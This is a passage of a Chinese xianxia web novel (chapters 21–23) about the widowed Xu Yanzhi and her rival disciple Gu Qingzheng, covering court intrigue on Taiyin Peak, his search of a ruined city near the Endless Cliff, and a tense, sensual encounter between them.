被所有人取笑,让徐宴芝意识到了自己的与众不同,她不想改,只将自己藏了起来,平时唯在老人向族人讲述天上的故事时出现,瘦瘦小小的人,躲在人群后,托着腮,细致地听着。 更多的时间里,徐宴芝孤独地坐在她找到的崖下最高的山坡上,在海娜花的包围中,仰望着她向往的天上,幻想着若是自己能上去,能晒太阳,日子会过得多么美好。 数十年时间一眨眼便过去了。 女孩长成了女人,来到了离家最远的地方。 太阴峰上,在梦里,徐宴芝一次又一次地想要闭上眼,却一次又一次地被迫直视着孤独的海娜。 她的心揪了起来,一阵陌生的不适侵袭了她。 天上的确不适合崖下人生活,明明他们之间没有太大的差异,可她绞尽脑汁,用尽了力气,直到如今此刻,也仍然没有过上幼年时想要的自由生活。 她对海娜食言了。 或许是因为她承认了这件事,海娜总算放过了她,让她悄然失去了意识,陷入了无梦的黑暗中。 不知过了多久,徐宴芝睁开了眼,外头竟然仍旧是黑沉沉的天。 这一觉过去,她的身子已经好了许多,连往日缠绵的背痛也和缓下来。 徐宴芝一开始还不解,直到感受到灵海中的灵力似乎比从前多了一些,方才意识到,上了一趟圣山后,她停滞许久的修为,竟然有了一丝进展。 这让她振奋起来! 崖下的老人不许子弟们去天上,并不是年老而固步自封,而是因为天上灵气馥郁,对于习惯了浊气的崖下人而言是一种灾难。 他们很难适应充斥着灵力的环境,更难踏上仙途。 像徐宴芝这般费劲千辛万苦,在此界最强仙人的看护下修了筑基境的已是万中无一。 但即使在最强者的看护、诸多灵药灵器的加持下,徐宴芝的修为也停滞了许久。 宇文令曾对她说过,不要再抱有希望了,受限于躯体,这已经是徐宴芝的极限,她很难再往上一步。 但他是错的! 徐宴芝的心咚咚跳着,她怀揣着希望,精神抖擞地将自己收拾整齐,推开了门,笑着与门外值日的小弟子打了招呼。 小弟子本在打盹,闻言一个激灵,抬起头看着她吃惊道:“徐夫人,这样早,天还未亮呢。” 徐宴芝摇摇头,解释道:“昨日答应你们的事还不曾做完,我先前找了些个结界不稳处——你们把不梦鳞存在哪儿了?你们不急,我自去修缮着。” 昨日徐宴芝不曾出现,几个长于阵法的小弟子们忙到天黑也不曾将所有法阵检查完,累得回去倒头就睡。 此时见徐宴芝一大早便出现,说要自去修缮法阵,小弟子哪儿有不肯的,连忙一叠声应了,引着她去库房取不梦鳞。 天还黑着,山上永不息的风仍在吹着,因结界松动,太阴殿比寻常时候冷了许多,小弟子与徐宴芝一前一后地走,身上皆穿着厚厚的衣裳,怀中揣着保暖的灵器。 库房在太阴殿的另一头,他们要沿着夹道穿过大半个宫殿,路上,正巧要经过宇文令生前居住的问仙宫。 徐宴芝抬头看着,只见屋檐上的琉璃瓦,在月光下也如宝石般闪亮,显然在宇文令离去后的日子里,小弟子们仍旧悉心地照料着里头的一砖一瓦。 毕竟是北域七峰掌门居所,其中有重要的象征意义,不论何时,都要呈现出最完美的姿态。 可对于徐宴芝来说,哪怕是路过这里,也让她难以抑制地皱起眉头,涌上憎恶。方才的雀跃消失不见,或许是因为太冷了,连她的指尖也抖了起来。 小弟子默不作声地在前引路,领着徐宴芝慢慢绕过这间宫殿,他们一步一步地行走在青玉石板上,清脆的声响在夹道中回响着,空荡 荡的、来来回回的。 让人感到更冷,也更抑制脑中的思绪。 这样的时刻,她很难不想起宇文令。 徐宴芝刚刚成为七峰弟子时,曾十分努力地对待过修行。 而在她修行这件事上,她的亡夫一向秉承着随她折腾的态度,只在她陷入困境时随意出手指点一番,或是她的灵力跟不上时从玉衡峰取些灵药来。 她的努力与挣扎,对他而言不过是修行间隙有趣的小事。 宇文令最为在意的,唯有自己的仙途,他为徐宴芝下得论断十分随意,并不曾真正为她费过心思。 不过也得益于此,徐宴芝心有余悸地回忆着。 若是他刨除那些上位者对下位者的轻视,真切地平视过她,自己恐怕永远也不会有现在这样的机会。 在太阳升起前,她与小弟子终于来到了太阴殿的库房中,取出了要用到的不梦鳞。 徐宴芝独自来到她曾视察过,有些松动的阵法处,俯下身子,细细勾勒着阵法的走向,又掏出笔,先在阵法上确认应当加固的地方。 待到再次整个地检查一遍,没有留下疏漏,她才会小心地蘸取炮制过、磨成了粉的不梦鳞,小心地一点一点的补上缺漏。 一个接着一个,从最里头的法阵开始,一直检查到了前殿处,她虚无旁骛地低头画着。 直到她将取来的不梦鳞用尽,太阳也已经高高升起,徐宴芝直起腰四下一看,察觉自己已经来到了前殿,徒儿们居住的地方。 徐宴芝下意识地皱起了眉头。 许多令人羞赧的情景,不经她的准许,擅自出现在了她的脑海中。 她有些尴尬地抿了抿嘴,酥麻的刺痛仿佛又出现在唇上。 茫然地出了一会儿神,徐宴芝想着昨日因恼羞成怒,已然把话对人说绝了,恐怕再难有原本那般假模假样的融洽时候了。 她心头莫名一轻,旋即又泛起淡淡的遗憾,教她狐疑起来——徐宴芝弄不明白自己在做些什么。 一路走来,谁人面前都佯装地妥帖,心中想法半点不漏,怎么遇见这个孽障就屡屡拿乔起来。 偏要去撩拨他,偏要去讥讽他,也不知是不是得了失心疯,忘了正事,想要给自己的谋划增添难度。 好在他们的关系又重新回到了正道上,他既然知道了她最为要紧的事,还是得想法子…… 思及至此,她神情阴沉了下来,眼中闪过一丝厉色,静默不语地转身往回走去。 只是刚步入一条夹道中,便听到远远的地方,有脚步声,通过狭长的夹道传来。 轻快的脚步声,是因为那人习惯走得极快,徐宴芝并不陌生,她常与它的主人在梦中相见。 夹道她已经走到一半,此时进退两难,狭路相逢,她不愿对他示弱,索性照着原计划悠悠往回走去。 那声音越来越近,近到相隔不远时,它的主人像是看见了徐宴芝的背影,忽然停了一瞬。 徐宴芝并未回头,仍旧慢慢走着。 她脚步慢,那人脚步快,不一会儿便离她极近,连鼻息都撩过了她的耳尖。 “夫人今日倒是起得早。” 如环佩相击的舒朗男声响起在徐宴芝耳后,顾青峥停在一旁,带着和煦的笑,颔首向她行了一礼。 徐宴芝转过头来,琥珀色的眼睛微微睁大,一瞬不动地看着他,忖度着他心中的想法。 片刻后,她的脸上与他一般绽放出笑来,温言细语道:“昨夜睡得早,便起得早,想着还有许多事未做完,干脆趁小弟子没上值,先做完。” 两人又相视一笑。 顾青峥彬彬有礼地朝她伸出手。 徐宴芝一脸慈爱地搭了上去。 他们相携走出夹道,迎着远处小弟子的视线,与往常一般相互道别后,分道扬镳,走上了各自的道路。 20-30 第21章 第二十一章旧城之畔 这一日徐宴芝且有的忙碌,天枢峰的消息昨夜没来,今日一大早便传到了太阴峰上。 她端坐在前殿议事堂上,忧伤地听完徐广济的死讯,半晌不曾说话,过了好一会儿,方才对报信的小弟子叹道:“我这个族弟,可是我伯父伯母的独子。” 小弟子也跟着叹息,附和着说了几句节哀顺变的场面话,听得上座的徐宴芝又问:“广济死前可有何异样?” “这个……”小弟子迟疑了一会儿,方才期期艾艾地回答道,“听闻徐师弟死前,顾师兄曾去寻过他,听当时在弟子舍的同门说,俩人似乎有过争执,声音有些大。” 徐宴芝怔忪了一会儿,语气低沉地问道:“早上我还见过青峥呢,他现在可在山上?” “顾师兄……”小弟子的下巴几乎戳到了胸膛上,“他一大早便与德政堂告了假,说是有些私事,现下不在山上,至于去了哪儿,他也不曾说明。” 可惜了—— 一刹那,徐宴芝脑中转过许多想法,最终还是不情不愿地放下了追究顾青峥的念头。 太过危险,虽然人证物证皆无,可她并不愿引起山上人的注意。 但明面上,她最好刚正不阿一些。 “既然这事牵扯到了青峥,我还是要去寻李长老,与他商议商议。” 徐宴芝说罢,立即起身,与这天枢峰的小弟子一齐来到了殿前的广场,乘着灵舟往德政堂去。 待她到了德政堂,李能意早就得了信,唉声叹气地坐在书房里,等着她过来。 “李长老……” 徐宴芝不过远远地唤了他的名字,便得来了他烦躁的叹息:“徐夫人莫要说话,徐广济这事的前因后果,我都遣人查明白了,顾青峥走后,弟子舍里有人听见了徐广济独自大喊大叫,那时他还活着。” 徐宴芝笑着听完李能意的这番话,轻抚着胸口道:“如此我便放下心了,还以为那孩子犯了错,没有便好……” 李能意闻言,狐疑地扯着自己下巴上一把长须,试探道:“徐夫人竟是来保顾青峥的?” 前几回她做的事,可不像是这个意思——李能意因不想被他们之间混沌不明的关系牵扯,方才快快将事情查明,防着徐宴芝要拿天枢峰上的弟子故作文章,搅合上自己。 “您这话说的,我与他多年情谊……”徐宴芝又笑了。 “知道了知道了,对了,既然你来了,我们便将大比的事定一定。”李能意不愿听她诉说与顾青峥的情谊,打断了她的话,转而与她商议起了弟子大比的事。 没过几日便是北域七峰的弟子大比,弟子大比十年一次,是门中弟子们重要的晋升通道。 内外门弟子们为此使出浑身解数,比仙法比阵法比药法。 若是在大比中得了大能们的青眼,好的能一步登天,成为亲传弟子,差的也至少能由外门弟子晋升内门弟子。 当然,内门弟子的数目是有限的,有人进来,便有人要出去。 说到这儿,李能意对徐宴芝摇头道:“我说句不好听的,你那族弟每日心思都不在修行上,我瞧他这回必然保不住内门弟子的位置,只是也没想到他竟然会为此自尽。” 门中连徐广济自尽的理由都为她找好了。 徐宴芝打蛇随棍上,跟着摇头,低声道:“既然是独子,家里确实溺爱了些。” 两人虚情假意地一齐为徐广济惋惜了一会儿,又将弟子大比的细节一条条定了下来,一直说到太阳都要落山了,方才郑重地下了定论。 了却一桩大事,李能意起身送徐宴芝回太阴峰,两人走到一半,他忽然想起什么,迟疑道:“顾青峥告假下山,徐夫人可知?他也没说明究竟何时回来,若他是为了避嫌,你还是传信与他说清楚,宗门并不疑心是他做了什么,让他莫要耽误了大比——他也该为底下的师弟师妹做个榜样才是。” 徐宴芝嗯了一声应了,话题一转,状若不经意地问起了张幼琳:“李长老的徒儿去哪儿了?我来天枢峰,哪一回都是她忙前忙后,这次怎么不见她人。” 听得徐宴芝提及张幼琳,李能意遮掩一般咳嗽了起来,糊弄道:“我让我徒儿下山帮我些忙。” 徐宴芝意味深长笑了一笑。 想来李能意为了让张幼琳与顾青峥争个高低,遣了他的徒儿下山历练,或是于修为上有些长进,或是寻一些他探明了的天材地宝。 他这个人迂腐又死板,对就是对,错就是错,不会暗地里给顾青峥使绊子,但也打心眼里护短。 徐宴芝只做不知,在李能意的目送下上了回太阴峰的灵舟。 一番来回,事事都在掌控中,徐宴芝应当安下心来。 可她倚在灵舟上,望着舷窗外风雪飘摇时,忽然感同身受地起了愁绪,身下座椅也坐不稳当起来。 下了灵舟,徐宴芝抱着臂沉思着,梳理着纷乱如麻的头绪,她一步一步,踩在冰凉的、能将人冻透了的石板上,走在偌大的太阴殿中——这间超尘脱俗的宫殿,瞧着空无一物,却总是有隐隐绰绰窥探的视线。 太阴峰上一共生活着上千名小弟子,平日里无事的话,只有二三人会出现在徐宴芝眼前。 正殿的广场前空无一人,九百九十九阶长阶两边的香炉里却升起袅袅的烟;宫殿的大门敞开,一眼望去,只有绚丽花丛与无边静谧,仔细竖起耳朵听,里头藏着谁的绵长呼吸。 太阴殿失去了主人,华美如梦幻的高堂邃宇,变得像鬼影重重的地宫。 不知走了多久,当徐宴芝忽然察觉自己每走一步,脚尖都冻得生疼时,她已经走到了一片巨大的阴影中。 她若有所觉地抬头看去,见到高大璀璨的问仙宫,在夕阳的照耀下,深渊般笼罩着它身前的一切。 在它的身下,徐宴芝拢共只有薄薄一片,渺小又不堪一击。 它如它主人生前一般俯视着她。 而徐宴芝脚下生了根,只能仰头看着它。 她垂下了双手,观察着夕阳给宫殿添上一层渐变的金边。 在阴影之中,她审视地问着自己,为何久久不愿踏入问仙宫,这里虽有许多她不堪的过往,却也隐藏着诸多它前任主人的隐秘。 宇文令死后,她应当仔仔细细地将这里搜查一边才是。 问了一会儿,她也并不回答,而是咬了咬牙,抬脚往宫殿的大门走去。 宫殿大门紧闭,四周静得只能听见自己血液翻涌的声音,徐宴芝站在大门前,伸出手,想要将门推开。 她的手触碰到了门上泛着珠光的巨大明珠。 指尖上清晰地传来了明珠中蕴含着的灵力,这枚明珠曾是活物,死去已久,灵力仍然在里头游走,冰冷刺骨、活灵活现,像灵兽舔了一口她的指尖。 徐宴芝猛地收回了手。 下一次,下一次再来,今日也太晚了些。 她这样对自己说着,转身头也不回的离开了这里,走得这样快,好似后头张开了密密地网,就要将她网在笼中了。 徐宴芝喘着气,飞也似的回到了她的小院。 她的心还在突突地跳着,为了平息这诡异的不安,她找出了纸笔,坐在桌前,专心致志、一笔一划地给顾青峥写信。 那些冠冕堂皇的话不假思索从笔尖流出,徐宴芝渐渐松懈下来,她漫不经心地想着顾青峥,揣测着如今他正在何方,叮嘱他要赶在弟子大比前回七峰来。 写完,她自去兽厩中寻了一只一点红的鸢鸟,将封好的信挂在它的爪间,徐宴芝轻轻抚了抚鸢鸟额上的朱红。 “去寻他。”她将带有顾青峥气息的信物放在鸢鸟鼻尖,等到它点头确认后,带它到山边放飞。 一点红在山间长啸,不过片刻,便彻底地消失在徐宴芝的视线里。 七峰豢养的极品鸢鸟能日行千里,一点红展开翅膀,掠过了北域的千里冰封,穿过嘈杂富有生机的沼泽、一望无际翠绿的草原,没过多久,它来到了一块儿寸草不生、死气沉沉的地方。 在这焦黑、了无生机的土地上,矗立着一座死去的城。 城门上的匾额破碎不堪,只有一只角勉强挂在门上,视线最好的人方才能勉强辨认出上头写着临渊二字。 城门不知被何物洞开,一扇仍连在墙上,另一扇不知所踪,几具白骨歪七扭八地散落在地上,你中有我我中有你。 从城门往里头看,门前原本最繁华的街道已经坍塌地不成样子,砖瓦上偶有一些暗褐色的痕迹,显示着这里遭遇过什么。 城中地上有黑色汩汩流淌着,乍一看是水,仔细看方才知道是若有实质的浊气。 一点红惊慌地在空中盘旋,它本能地畏惧着城中的气息,久久不愿下降,去寻找它此次任务要寻的人。 过了一会儿,它决定张嘴鸣叫,试图引起谁的注意。 它的叫声引来了城中唯一活物的注意。 顾青峥跃到最高的城墙上,朝着空中的一点红伸出了手。 一点红又在空中犹豫地转了几圈,最后终于鼓足勇气,飞快地落在那人手臂上,将信扔下后,又一飞冲天,头也不回地离开了这里。 城墙上的顾青峥失笑地看着鸢鸟仓皇逃窜的背影,展开了信笺,一目十行地读了起来。 读完后,他随手将信放在了锦囊中,略微思索了一番,又转头跃下了城墙,返回旧城细细查看起来。 旧城在数十年前,死于一场突如其来的业鬼潮。 那分明不是一个特别凶险的红月夜,旧临渊城与无尽之崖保持着安全距离,却莫名地出现了极其凶险的业鬼潮。 因为询天阁不曾预见这样的灾难,等事情发生时,即便宇文令以极快的速度带着七峰仙人们来到了这儿,城中也早已被浊气占领,变成了一片焦土。 旧城覆灭时,顾青峥尚且年幼,并未开始修行,一切关于此事的消息,都是后来从门人口中得知,他不曾亲身来过此处。 他也并不清楚,宇文令的祭典过后,徐宴芝联合门人遣他来旧城附近摘那一朵盏室花时,为何要在他下山前特特假借送药的名义见他一面,叮嘱他一句话。 徐宴芝想要混淆他的认知,用暗示,让他来一趟旧城。 当时的那句话,顾青峥现下仍能回想起来—— “盏室花离旧城极近。” 她的声音明明极轻,却又在他的心头不住地回荡着,引诱他去往这个死地,去做些什么。 徐宴芝想要他去死,他想知道,她为何要他死,他又会因为什么而死。 顾青峥走过空无一人的街头,打量着周围的断壁残垣,他走了好一会儿,终于停在城中的十字路口,站在没过脚裸的浊气中。 他看着四周,这里什么都没有。 风穿过城中的断壁残垣,呜呜地鬼叫着,地上的浊气翻涌,一次又一次淹过他的脚踝,想要吞噬掉来自光明的产物。 顾青峥的发丝飞舞在空中,他茫然地寻找着,究竟是什么可以让他去死。 城中既然没有,顾青峥沿着浊气,往南边走去。 从旧城再往南,遥远却目之可及的地方,大地的尽头忽然断裂,将大陆狠狠贯穿,留下巨大、看不见边际的豁口,那是此界的最为黑暗的地方,那是—— 无尽之崖,仙人无法触及的世界尽头。 顾青峥已经走到了他能达到的最远处,再往前,浊气浓度过高,只要待上几息,便能彻底瓦解他的神智,引诱他踏入深渊。 半死不活的太阳虚虚地斜照着,大地上黑烟汩汩,一望无际的平原上,没生命,没有声音。 他好似站在虚空之中,漂浮在浊气之上。 顾青峥在这儿待得太久了,他的耳边渐渐出现了万般可怖的诡异声音,一声高过一声地引诱着他继续往前,黑暗在慢慢侵蚀顾青峥,他的护体仙法即将紊乱。 服下最后的灵药,顾青峥心头一轻,沉下心来慢慢 走动,查看着旧城外的异常处。 时间一点一点流失,在最后关头,他走到了旧城的西南角外,看到远处,蔓延的浊气忽然在他视线中断开,像是遇见了低洼一般,往下流去。 他精神一振,小心翼翼地靠近,顺着浊气流动地方向看去。 走得近了,顾青峥发现自己被眼睛欺骗了,浊气并非流下了低处,恰恰相反,它正喷薄地从某个地方涌出。 另有大片大片的白色,突兀地出现在死寂之中。 他低着头,微微睁大了眼。 看得久了,能看明白这里是一道不曾被记载、深不见底的裂缝,缝隙中放眼望去,是无数的、铺天盖地的白色—— 藤蔓布满了裂隙两旁,似乎从深幽之底开始,长满了颤颤巍巍的白色寒来花。 电光火石间,他记起了不久之前,某个血月后发生的事。 第22章 第二十二章唇齿交融 顾青峥回到太阴峰,已经是第二日傍晚的事情了。 这一日,徐宴芝在前殿费了许多时间,与闵道一一块儿,帮他温习阵法上的学问。 闵道一与他师娘一般,不擅长仙法,入门二十来年,做了宇文令二十来年的徒儿,修为堪堪能与徐宴芝平起平坐。 师父在世时很少管他,顾青峥又常年在山下,一年也难得见上几回,可怜的闵道一只能同其余的内门弟子一道,去摇光峰上大课,吃大锅饭。 因为这个,私底下想来吃了不少苦,受了不少委屈,再小一些时,时常含着泪从摇光峰上回来寻师娘,伏在师娘膝头默默流泪。 他算是徐宴芝在太阴峰上难得的慰藉,见他这般模样,她只得叹息着拿出阵法上的本事,另辟蹊径地教他—— 闵道一学阵法这件事也不知宇文令是否知晓,反正直到他去世,他们也不曾从他那儿听到一个不字,就权当掌门默认了。 如今又到了十年一次的弟子大比,师父却已经不在了,闵道一更是慌得厉害,好些夜晚都睡不着,又犯起了头痛,撑到今日实在撑不下去,哭丧着脸来寻徐宴芝帮忙。 他坐在桌前,盯着徐宴芝画在纸上的法阵图样,左看右看都瞧不大明白,冥思苦想下,只觉得太阳穴钻心地疼了起来。 “嘶——”闵道一忍不住皱起了眉。 “又头疼了?” 徐宴芝坐在一旁,早将他抓耳挠腮地模样看在眼里,只是不曾开口,见他头疼了起来,方才关切地问道。 “玉衡峰上的师兄说,上回受的伤落下了病根,治不好了,让我若痛得厉害,便燃香镇痛。”闵道一恹恹道。 “能忍则忍,燃香容易上瘾,还要有人看着。” “嗳,都听您的。” 闵道一揉了揉太阳穴,只觉得疼痛缓解了一些,又垂着头苦苦思索着眼前的阵法图。 看了半晌,他只觉眼中全是一个套一个的圆圈,半点都看不明白,崩溃地摇头道:“师娘,我真是太笨了,您都教了我这样久,我还是不懂。” 徐宴芝跟着看了一眼桌上。 她只觉图上每一处都画得分明,用笔简洁,清晰易懂。 这样的图,她真弄不明白闵道一能有哪儿看不懂,于是难得踟蹰了起来,不知该如何回答。 师娘的沉默被闵道一读懂了,他垂着头,面色灰败地低声道:“如今只有师兄回来才能救我了,唉,师兄样样都学得好,顶顶聪明,顶顶有天赋,那才是掌门亲传弟子该有的样子,我与他比起来……师父为何会收下我这样的笨徒弟呢……” 若是徐宴芝也跟着附和,似乎有些太伤人了。 她将心中的不解压下,笑着摸了摸闵道一毛茸茸的头:“我给你师兄去信了,料想他也该回来了。” 她提起顾青峥的模样再自然不过了,闵道一偷偷抬眼打量她,心中想起了山上流传着许多传闻,忍了又忍,小心试探道:“师娘,我最近听了许多荒唐的说法,说您和师兄……” 徐宴芝眼都没抬,捻了张新的阵法,用笔写写画画,口中嗯了一声,表示她听到了。 “说您跟师兄,关系不太好……” “哦?他们这样说,你觉得呢?” “我实在瞧不出你们哪儿不好了,要我说,师兄是极尊敬您的,从前只要他在山上时,都是他为您去取炊玉饮,为您炮制好了装在灵碗里,不过他说不愿意出风头,就让我替他跑腿送给您了。” 闵道一说得认真,徐宴芝听得想笑。 她刚想开口敷衍几句,便听到外头传来了正主的声音——“闵道一,不日便要弟子大比,你可有好生温习?” 风尘仆仆的顾青峥站在门口,扬起眉,看着院中二人,瞧不出是否高兴。 闵道一闻声望去,大吃一惊道:“师兄,你怎么弄成这样了!” 并不怪他转移话题,而是一向爱干净的顾青峥,身上月白长袍被染得黑一块儿白一块,好似经过了一场恶战。 他的师兄尚未回答,徐宴芝先心头一跳。 这些污渍,她十分眼熟。 等到顾青峥信步向她走来,那些尚未被净化的浊气散落在空中,徐宴芝更是十二万分确定。 顾青峥去了满是浊气的地方,他没有受伤,反而全身而退了。 刹那间,徐宴芝心头雪亮,缠绕着她的不安,有一部分似乎有了解释—— 顾青峥已经拥有了可怖的力量,她无法混淆、暗示顾青峥,她无法轻易地让他屈服,让他去死。 这个麻烦她一时半会摆脱不了,得一直背在身上了! 所以那一日,她的确已经成功施法,并不像她后来推断的那般失败了。 只顾青峥或许体质特殊,她的暗示并没有混淆他的神智,不仅让他全须全尾地回到了七峰山下,还大摇大摆地去到徐家门前,接她回家。 他不是待宰的羔羊,他有拨开迷雾的力量。 警醒起来——徐宴芝看着眼前男子停在自己身旁,弯下腰,状若查看桌上的阵法——不要放任自己,盯紧了他,放下不情不愿,拿出你的本事来。 闵道一在师兄面前说了他的坏话,此时头几乎贴在了桌上。 徐宴芝坐定不动,扬起嘴角,弯弯的眼眸倒映着顾青峥的侧颜。 有一只以上犯上的手,顺着她的背脊,不轻不重地一路往下揉按。 当着闵道一,他纵火,教徐宴芝半个身子都烧起来。 偏偏始作俑者还不看她,只将半张脸展示在她面前,嘴角似笑非笑地勾起。 像是有什么好事发生了似的。 徐宴芝眼皮一跳,伸手拉住了那只在她背后作怪的手,将手指插进了他的指缝,轻轻用力,得了他更有力的回握。 当着人,是母慈子孝的师娘与徒弟。 人后,视线看不到的地方,徐宴芝与他十指紧握,情意与敌意,说不清哪个更重。 顾青峥回来后,闵道一彻底偃旗息鼓。 他的师兄从明日起要对他进行特训,今晚便饶了他,容许他还有片刻喘息,最好现下就上床闭上眼睡去,不然往后几日,顾青峥再也不会让他能轻松地喘着气。 将小师弟安排好,顾青峥关上院门,朝徐宴芝做出了请的动作:“送您回去。” 他说的肯定,徐宴芝收了拒绝的心,点头随他往殿后走去。 他们穿过狭窄冗长的夹道,路过地宫一样死寂的问仙宫,步入了曲径通幽处、花团锦簇的后花园。 一路上,两人分明没有说话,却似有暗流在身旁涌动。 园中小径总有高低,一人伸手,一人扶,不经意间,谁冰凉的指尖划过谁炽热的掌心,截然相反的体温让心间的波澜更甚。 行至一块假山时,顾青峥停下了脚步,转身看向徐宴芝,此时此刻,他的所作所为无人能知晓。 不再遮掩,他眼中流淌着晦暗不明、扭曲的喜悦,浓得化不开,死死纠缠住徐宴芝。 月光恰到好处地斜斜洒下,照亮了这块静谧、无人窥探的角落。 这一刹那,徐宴芝在明,顾青峥在暗。 劲风刮过,不从天上来,却是衣袂翩跹掀起的风。 他忽然动作,欺身将她按在假山石上,伸手抬起徐宴芝的下巴,他的手指微微陷入她饱满的脸颊,因这与自己迥异的触感怔神。 一句话也未说,一个词也不曾吐露,因都不肯将视线移开,又不肯出声示弱,两对眼眸中全是教人心跳加速的线索。 顾青峥瞳仁震颤着,像是笑又像是叹,死死盯着徐宴芝的唇,接着低下了头。 第二次,他吻住了她。 远远跟着的小弟子站在后花园外,月光刚刚升起,正是幽暗无光的时刻,园中层层叠叠的假山石遮住了前头二人的身影,他不在意地环视了一圈,只当那两人正巧走在了阴暗处。 小弟子慢慢踏上了花园里错落有致的石板路。 假山后,暧昧的啧啧声轻响着。 徐宴芝一步一步往后,无力地靠在山石上,又奋起想要往前。 顾青峥牢牢禁锢住她,教她无法从他怀中挣扎开,他的手也不断往下,光洁的背脊,微陷的腰窝,再往下,再往下。 触碰的地方柔软到令人战栗,他不自禁地一再用力,唇间逸散出压抑到极致的哼声,不知是谁在难以抑制,只觉喘息在耳边轰鸣,激得人半身酥麻,热得烧起来。 而身下女人竟还未曾败下阵来,身子既然无法动弹,唇齿间也成了战场,她在他口中搅得天翻地覆,将他的魂也吸走了。 还有两只柔软一些的手,不甘任人宰割,在顾青峥身上游走,探索着男子的不同处,想要与这具身躯原来的主人争夺控制。 原来太阴峰上也能如此燥热,阴冷的风变得绵软,冻透了的石阶温润起来,任由人起舞一般在上头踱步。 上个吻让顾青峥受到了挫折,但既然他是顶顶聪明的那一类人,便不会再犯同样的错误。 唇齿相融,耳鬓厮磨,两人谁先不肯先放过对方。 偏要让对方丢盔卸甲,成为手下败将,升腾的敌意与欲念才能得到释放。 这一局是你赢了,但败者亦有尊严,无法杀死你,当然要从别处让你一败涂地,要讨回来才行。 小弟子在花园中走了一会儿,仍旧没能瞧见前头两人的踪迹,月光是斜的,园中四处都是拉得极长的影子,风一吹,便纠缠在一起,如胶似漆的。 他脸一红,心中涌上了古怪。 这样想着,小弟子快走了几步,穿过一个月亮门,忽然在一个假山后头见到了徐宴芝与顾青峥。 他们的影子纠缠在一起,如同园子里随风摇摆的花木一般,略微颤抖着。 小弟子瞪大了眼睛,呼吸也停滞了一瞬。 他不敢相信地又睁眼去看,方才发现,似乎是徐夫人有些不适,掩着面,腿发软的模样,顾师兄为了扶住她,正半抱着她往前头走。 小弟子松了一口气,虽说有些与礼不合,但听闻徐夫人身子一向不好,顾师兄又孝顺,连他都在药房见过顾师兄为师娘炮制灵药,一时紧张,靠得近些也是情有可原的。 但也是他修为不高,夜里离得远了便瞧不太清楚。 顾青峥一只手扶着徐宴芝的胳膊,另一只手在她腰上,稍稍用力,将人揽在怀中。 这一回合究竟是谁输了,现下便分明起来。 徐宴芝不忿地咬着肿胀的唇,仍觉有些腿软,对手并不按常理出招,吃了亏便手段下作,那双手顺着她身段到处点火。 因在外头,让她无法使出力量,当下便失了力气,最后败下阵来。 她被揽在怀里,风也不再寒冷。 但走了一会儿,到底找回了神智,慢慢思索起顾青峥的举止。 她掀起眼,瞥了一眼上方的男子。 他现下面上并无表情,似乎瞧不出心中的念头。 徐宴芝却笃定他是高兴的,他或许发现了一个秘密,连带着唇齿间也有些隐秘的欢快。 是什么事? 徐宴芝心渐渐沉下来,她总觉得,或许与她有关。 第23章 第二十三章一身妩媚 顾青峥得了一个与徐宴芝有关的好消息。 这件事变成了一个小刺,扎进了徐宴芝指腹里,不论她在做什么,都有轻微的刺痛,提醒着她。 她不能让山上人知晓她的身世,自幽冥而来的活物,与浊气相伴而生,隐藏着让仙人们无法自制的隐秘。 顾青峥的师父没了,他修为再高,如今也是势单力薄,捏着一个把柄,的确能让徐宴芝审慎地待他——但这不代表世上还能存在可证伪她的铁证。 徐宴芝无意识地轻抚着自己的唇瓣,思考着自己是否还在何处留下过破绽。 屋里燃着明亮的灵灯,照得如同白昼一般,并不让人昏沉。 徐宴芝只穿着单衣,任由身上轻薄的布料松松垮垮地垂在地上,因暖玉铺满了屋子,她本该半点不觉寒冷,可脑子萦绕着的这件事让她如锋芒在背。 总觉有一双阴郁的黑色眼眸,正在暗处,沉沉地看着她。 正思来想去,忽然灯上爆开灯花,啪地一声,吓得徐宴芝一个激灵,瑟缩起了身子,看向灯上。 她的眼眸中倒映着白光,伸手环抱着自己,出神地想,顾青峥握着这把柄,几番试探,也不曾真正出手,他会想要从她这里得到什么? 灯光沉默地摇晃,并不曾解答她心中疑惑。 徐宴芝有些懊恼,或许从前她应当对顾青峥更留神一些。 在回忆中,除却在太阴殿前的初遇,很长的一段时间里,她与顾青峥都维持着绝对的客气,想起他来,脑中只有纸片般单薄的形象。 她在山上众人面前表演温柔的师娘,将经过仔细思考后的行动精心地在该瞧见的人面前展示。 对于那个住在前殿的小孩儿,徐宴芝只觉得他有些冷漠,但她不在意他,自然也不在意他的冷漠。 从什么时候开始,她开始对顾青峥产生真正的情绪——厌恶的情绪,不满的情绪。 徐宴芝慢慢地回溯他们之间的过往,终于在某一处记忆里发现了端倪。 那是与宇文令有关的记忆,是数十年前,顾青峥方才成为掌门亲传弟子时候的事了。 徐宴芝平日里并不住在问仙宫。 但某一日,因为前夜荒唐太过,她难得地宿在宇文令的宫殿中,直到日上三竿还未醒来,等到终于因阳光刺目而昏沉地睁开眼时,徐宴芝惊讶地发觉,似乎已经到了下午。 宇文令一向不喜旁人懒散,她时刻提醒自己,哪怕在道侣闭关时,也一如既往地严格遵循弟子作息。 没想到那一日会放纵成那样,徐宴芝有些在意,顶着浑身不适,匆匆穿好衣裳,随意地挽了个发,便想要去殿前寻宇文令。 她丈夫不喜有人在旁伺候,问仙宫只有他常住,偶尔徐宴芝也会过来,但过夜这件事,到那天止也只有这一次。 走出后殿的寝室,穿过后花园、抄手游廊,一路走向前殿,华美的宫殿空荡荡静悄悄,四下无声,只有徐宴芝的脚步声在回荡。 宇文令每日这个时候都会在书房中独自读些宗门典故、功法秘笈,徐宴芝熟门熟路,径直往书房而去。 一切都如常,但在走过最后一道游廊,来到前殿时,她却惊诧地遇见了一个人。 是难得被师父召唤、被校考后打算回到弟子舍的顾青峥。 两人谁也没有想过会在这里遇见对方,猝不及防下,尚且年轻,城府还未像如今一般深沉的顾青峥脸色大变,猛地向后退了一步。 宇文令教导徒弟一向手下不留情,顾青峥穿着单薄的弟子服,步伐紊乱,身子如翠竹般在风中微颤,显然受了磋磨,难免失了对表情的控制。 即便他瞬间便意识到了不妥,立刻低下了头掩饰,却还是被徐宴芝发觉了那一刹那,他眼中闪过的阴郁的憎恶。 徐宴芝动作一滞,旋即缓缓朝他笑道:“青峥来了。” 顾青峥垂首应了一声,再抬头时,他神色已经如常,展颜对她行礼道:“见过夫人。” 他的表情、语气,都瞧不出问题,只是忍不住攥紧的双拳,还是泄露了一丝他的内心。 徐宴芝笑笑,回礼后继续往宇文令的书房走去,与他擦身而过的瞬间,两人的衣摆撞在了一块儿,彼此都下意识 地尽量侧了侧身子。 她低头,看见裙摆上的褶皱,忽然意识到了什么。 